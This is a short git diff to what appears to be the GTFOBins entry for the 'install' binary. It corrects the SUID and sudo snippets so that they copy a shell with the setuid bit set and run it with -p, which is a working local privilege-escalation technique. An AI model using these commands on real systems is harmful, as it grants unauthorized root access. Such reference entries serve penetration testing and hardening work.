diff --git a/_gtfobins/install.md b/_gtfobins/install.md
index a6c9297..9fad402 100644
--- a/_gtfobins/install.md
+++ b/_gtfobins/install.md
@@ -3,11 +3,11 @@ functions:
   suid:
     - code: |
         TF=$(mktemp)
-        install -m 4755 $TF
+        install -m 4755 `which sh` $TF
         $TF -p
   sudo:
     - code: |
         TF=$(mktemp)
-        sudo install -m 4755 $TF
+        sudo install -m 4755 `which sh` $TF
         $TF -p
 ---